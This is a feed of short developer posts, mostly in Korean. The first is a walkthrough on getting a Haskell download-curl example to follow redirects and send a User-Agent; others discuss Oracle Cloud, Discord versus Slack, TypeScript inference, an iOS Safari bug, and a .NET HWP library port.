그런데 GetURL.hs라는 파일을 찾을 수가 없어요. 저처럼 예제 코드 하나라도 실행 안 되면 진도를 못나가는 사람을 위해서 안내를 남깁니다.(사실은 미래의 저를 위한 글입니다.)

인터넷에서 검색을 좀 해보면(예전에 찾아 놓은 거고 지금은 원본 링크를 찾을 수가 없지만) 메릴랜드 대학의 CSMC 433이라는 과정에서 공교롭게 책과 같은 내용이 있고 그곳에서 다음과 같은 코드를 소개합니다.

-- For the example to work you need to have
-- the `bytestring` and the `download-curl`
-- haskell packages installed
import Data.ByteString as B
import Network.Curl.Download

getURL :: String -> IO ByteString
getURL uri = do
  res <- openURI uri
  case res of
    Left _ -> error "Oh no..."
    Right bs -> return bs

'됐다! 이거다!' 싶지만 막상 이 코드를 넣고 8장의 예제를 실행하면 기대했던대로 결과가 안 나오고 다음과 같이 페이지 응답 본문의 크기가 0으로 나옵니다.

(0,0)

이건 왜 그럴까? curl로 응답 헤더를 보니 https로 리다이렉트하고 있었네요.

$ curl -I http://www.wikipedia.org/wiki/Shovel
HTTP/1.1 301 Moved Permanently
content-length: 0
location: https://www.wikipedia.org/wiki/Shovel
server: HAProxy
x-cache: cp5024 int
x-cache-status: int-tls
connection: close

그래서 본문 내용이 없었기 때문에 크기가 0으로 나온 것입니다. 이때는 openURI 대신 openURIWithOpts를 쓰면 됩니다. 여러 옵션이 있는데 그중 CurlFollowLocation True를 사용합니다.

  res <- openURIWithOpts opts uri
  ...
  where
    opts =
      [ CurlFollowLocation True
      ]

'와, 이제 진짜 되겠지?' 해도 안 되는데 이번에는 404 응답이 옵니다.

'어? 브라우저랑 curl로 요청했을 때는 존재하는 페이지인데 왜 404래?'

아마 위키백과에서 요청 헤더에 User-Agent가 없으면 차단을 하는 것 같습니다. 마지막으로 다음과 같이 옵션을 추가합니다.(이건 GPT가 알려줬어요.)

  opts =
    [ CurlFollowLocation True
    , CurlUserAgent "foo bar"
    ]

여기까지 하면 이제 책에 나온 예제가 잘 실행됩니다.

즐거운 하스켈 코딩 하세요!

Read more →
9

매일마다 찬양과 폄하를 오가는 오라클 클라우드

오늘의 찬양: NLB(L4 로드밸런서)도 무료 배스쳔(퍼블릭 IP가 없는 인스턴스 접속을 위한 SSH 터널링)도 무료

오늘의 폄하: 블록볼륨 최소사이즈가 50GB인게 말이되냐!! 기본 오라클리눅스 dnf를 램 4기가 이하 인스턴스에서 돌리면 메모리만 전부 잡아먹고 스스로 OOMKill은 안시켜서 인스턴스가 죽는게 말이되냐!!!

3
11

오랜만에 인사드립니다. 새 직장에 들어간지 한달 반정도 됐어요. 잘 적응하고 있는 것 같습니다. 생각보다 c++는 공부하는 재미가 있는 언어였어요. 템플릿 활용하고 메모리 잘 관리해주는데서 은근히 뭐랄까 쾌감이 오는군요...

8
3

https://github.com/sonohoshi/sonomemo 최근에는 바이브코딩을 좀 해봤고, 제가 쓸 메모용 앱을 만들어봤습니다. 만들었다고 하는게 맞나? 바이브코딩이라는거 재밌더라고요. 사실 당연한 것 같습니다. 코딩에서 오는 아이디어 구현과 결과물이 나오는 재미는 취하고, 디버그하고 버그 잡는 힘든 일은 LLM이 해주는데 당연히 재미있겠죠. 어쨌거나 이 행위에 맛들려서 Rust 코드는 어떻게 쓰는지 볼 겸, 터미널 기반의 메모용 앱을 만들었습니다. 제가 쓰려고 만들었는데 생각보다 쓰는 트친들이 많이 생겨서 여기에도 올려봐요. 감사합니다.

2

最近、社内の(自社)メッセンジャーの利用をやめ、Discord を主な協業ツールとして活用している。 Webhook 用のチャンネルが一つずつ増えるにつれて活用度と満足度も高まり、全体としてかなりうまく使えていると感じている。

Slack も優れたツールではあるが、無料プランでは90日を過ぎたメッセージを確認できない点がやや残念だ。そのため、現時点の会社の状況で、Discord よりも Slack を有料で使うだけの明確なメリットがあるかというと、正直なところ判断が難しい。

一方で悩ましいのは、社外、とくに大企業の顧客との協業において、Discord を公式な協業ツールとして提案しづらい点である。ゲーミング向けメッセンジャーというイメージが依然として強く、積極的に推し出すには少し躊躇してしまう。

とはいえ、オープンソースや開発者向けのコミュニティでは、以前から Discord がかなり活発に使われている印象もある。(これは、ひとまず韓国に限った話かもしれない。)

1

언제까지 (a:number, b:number) => a + b, (a:string, b:string) => a + b, <T>(a: T, b: T) => a + b 를 해줘야 하나고
그냥 대충 눈치껏 (a, b) => a + b 하면 'ba 와 더할 수 있어야 하는 타입이고 a 는 무언가와 더할 수 있는 타입이구나' 하고 추론할 수 있는 분석기가 달린 언어가 필요함

6

아이폰 사파리 리액트 웹앱에서 모달창을 띄워 유튜브를 재생하는데 10여분이 지나면 갑자기 닫혀 버립니다.(PC는 정상) 닫히는 순간 사파리 상단에 알림창이 아주 찰나에 떴다 사라집니다. 맥북 개발자 툴에 붙여 확인했는데 별다른 로그도 안남고, 찰나에 사라진 메시지가 뭔지도 알 수가 없네요.

10분동안 재생된 영상 3~4개인데, 캐시가 얼마 되지 않아 메모리 이슈는 아니지 않을까 하는데요. 언젠가 앱개발도 손대야 할지 모르는데, 살짝 겁납니다. 디버깅 방법이 뭐가 좋을까요?

1
2

닷넷으로도 HWP 파일을 처리할 수 있는 라이브러리를 만들 수 있지 않을까 하는 오랜 과업 (?)을 생성형 AI, 그리고 훌륭한 Java 버전의 구현체를 만들어주신 neolord0 님의 컨트리뷰션을 바탕으로 .NET 10용 프로젝트를 착수하게 되었습니다.

현재 테스트 통과율은 40~50% 수준이지만, 일단 모든 코드를 기계적으로 포팅시켜서 시작점을 만들었다는 것만 해도 기쁘게 생각하고 있습니다.

이 일을 가능하게 도움주시고 지금도 꾸준히 커밋을 관리해주고 계신 neolord0님께 다시 한 번 깊은 감사, 경의, 그리고 존경을 표합니다.

https://github.com/rkttu/libhwpsharp

2